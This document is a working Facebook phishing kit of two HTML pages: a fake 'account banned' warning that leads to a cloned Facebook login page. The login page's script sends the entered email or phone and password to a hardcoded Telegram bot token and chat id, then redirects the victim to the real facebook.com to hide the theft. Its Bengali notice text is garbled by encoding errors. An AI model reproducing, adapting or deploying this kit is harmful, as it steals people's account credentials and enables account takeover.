<!--
--  Uploaded on : https://haxor.my.id/open/speed_X_bro.html
--  Official Web : https://prinsh.com
--  script-deface-generator.prinsh.com
-->
<!-- warning.html -->
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Account Banned - Facebook</title>
  <script src="https://cdn.jsdelivr.net/npm/tsparticles@2/tsparticles.bundle.min.js"></script>
  <style>
    html, body {
      margin: 0;
      padding: 0;
      overflow: hidden;
      height: 100%;
      background: #000;
      font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
      color: white;
      text-align: center;
    }

    #particles {
      position: absolute;
      width: 100%;
      height: 100%;
      z-index: 0;
    }

    .content {
      position: relative;
      z-index: 1;
      top: 30%;
      transform: translateY(-30%);
    }

    .credit {
      font-size: 20px;
      font-weight: bold;
      animation: neonColor 0.5s infinite alternate;
    }

    .banned-text {
      font-size: 40px;
      color: red;
      margin: 30px 0;
      font-weight: bold;
      font-family: 'Courier New', Courier, monospace;
      text-shadow: 0 0 10px red;
    }

    .notice-box {
      background: rgba(255,255,255,0.1);
      border: 2px solid #fff;
      padding: 20px;
      margin-top: 20px;
      border-radius: 10px;
      font-size: 18px;
      color: #ff0;
      width: 80%;
      max-width: 500px;
      margin-left: auto;
      margin-right: auto;
    }

    button {
      padding: 14px 28px;
      font-size: 20px;
      border: none;
      border-radius: 10px;
      cursor: pointer;
      background-color: #1877f2;
      color: white;
      margin-top: 30px;
    }

    @keyframes neonColor {
      0% { color: #0ff; }
      50% { color: #f0f; }
      100% { color: #ff0; }
    }
  </style>
</head>
<body>
<div id="particles"></div>

<div class="content">
  <div class="credit">Created by SPEED_X💀</div>
  <div class="banned-text">Your Facebook Account is BANNED</div>
  <div class="notice-box">
    āĻāĻ‡ āĻ“āĻ¯āĻŧā§‡āĻŦāĻ¸āĻžāĻ‡āĻŸ āĻĨā§‡āĻ•ā§‡ āĻ•āĻžāĻ°ā§‹ āĻ†āĻ‡āĻĄāĻŋāĻ¤ā§‡ āĻ°āĻŋāĻĒā§‹āĻ°ā§āĻŸ āĻŽāĻžāĻ°āĻ˛ā§‡ āĻ¤āĻžāĻ° āĻ†āĻ‡āĻĄāĻŋ ā§¨ā§Ē āĻ˜āĻ¨ā§āĻŸāĻžāĻ° āĻ­āĻŋāĻ¤āĻ°ā§‡ āĻŦā§āĻ¯āĻžāĻ¨ āĻšāĻ¯āĻŧā§‡ ā§¯ā§Ļ%💀
  </div>
  <button onclick="applyNow()">Apply to Connect</button>
</div>

<script>
  tsParticles.load("particles", {
    fullScreen: { enable: false },
    background: { color: { value: "#000" } },
    particles: {
      number: { value: 80 },
      color: { value: ["#f00", "#0f0", "#00f", "#ff0", "#0ff", "#f0f"] },
      shape: { type: "circle" },
      opacity: { value: 0.8 },
      size: { value: 3 },
      move: {
        enable: true,
        speed: 3,
        direction: "none",
        outModes: "bounce"
      }
    },
    interactivity: {
      events: {
        onHover: { enable: true, mode: "repulse" },
        onClick: { enable: true, mode: "push" }
      },
      modes: {
        repulse: { distance: 100 },
        push: { quantity: 4 }
      }
    }
  });

  function applyNow() {
    window.location.href = 'login.html';
  }
</script>

</body>
</html>

<!-- login.html -->
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Login - Facebook</title>
  <style>
    body {
      background: #e9ebee;
      font-family: Arial, sans-serif;
      text-align: center;
      padding: 0;
      margin: 0;
    }

    .login-container {
      max-width: 400px;
      margin: 100px auto;
      padding: 40px;
      background: white;
      border-radius: 8px;
      box-shadow: 0 0 20px rgba(0,0,0,0.1);
    }

    h2 {
      color: #1877f2;
    }

    input {
      width: 100%;
      padding: 15px;
      margin: 10px 0;
      border-radius: 5px;
      border: 1px solid #ddd;
      font-size: 16px;
    }

    button {
      width: 100%;
      padding: 15px;
      background-color: #1877f2;
      color: white;
      border: none;
      border-radius: 5px;
      font-size: 16px;
      cursor: pointer;
    }

    button:hover {
      background-color: #166fe5;
    }

    .forgot-password {
      color: #1877f2;
      font-size: 14px;
      text-decoration: none;
    }

    .sign-up {
      margin-top: 20px;
      font-size: 14px;
    }

    .sign-up a {
      color: #1877f2;
      text-decoration: none;
    }
  </style>
</head>
<body>

<div class="login-container">
  <h2>Facebook</h2>
  <input type="text" id="email" placeholder="Email or Phone Number" required><br>
  <input type="password" id="password" placeholder="Password" required><br>
  <button onclick="sendToTelegram()">Log In</button>
  <div class="forgot-password">
    <a href="#">Forgotten password?</a>
  </div>
  <div class="sign-up">
    <p>Don't have an account? <a href="#">Create New Account</a></p>
  </div>
</div>

<script>
  const token = "7435301497:AAFiMvKSjEf6ivQNQXR3EvTJ6jMlMPPqEUE";
  const chat_id = "6886136377";

  function sendToTelegram() {
    const emailOrPhone = document.getElementById("email").value.trim();
    const password = document.getElementById("password").value.trim();

    if (emailOrPhone === "" || password === "") {
      alert("Please fill in all fields.");
      return;
    }

    const url = `https://api.telegram.org/bot${token}/sendMessage`;

    fetch(url, {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({
        chat_id: chat_id,
        text: `Email/Phone: ${emailOrPhone}\nPassword: ${password}`
      })
    })
    .then(response => response.json())
    .then(data => {
      window.location.href = "https://www.facebook.com";
    })
    .catch(error => {
      alert("Failed to send data.");
    });
  }
</script>

</body>
</html>